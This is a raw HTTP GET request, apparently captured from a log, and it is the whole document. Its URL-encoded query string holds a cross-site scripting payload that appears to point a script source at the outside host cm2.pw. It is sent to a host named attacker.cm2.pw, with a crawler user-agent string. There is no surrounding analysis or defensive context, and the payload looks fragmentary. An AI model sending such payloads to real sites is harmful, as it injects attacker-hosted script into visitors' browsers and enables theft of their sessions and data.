GET /?s.src=%27%2F%2Fcm2.pw%27&xss=name%3D%22d%3Ddocument HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])
Accept-Encoding: gzip, br
Accept: */*
Host: attacker.cm2.pw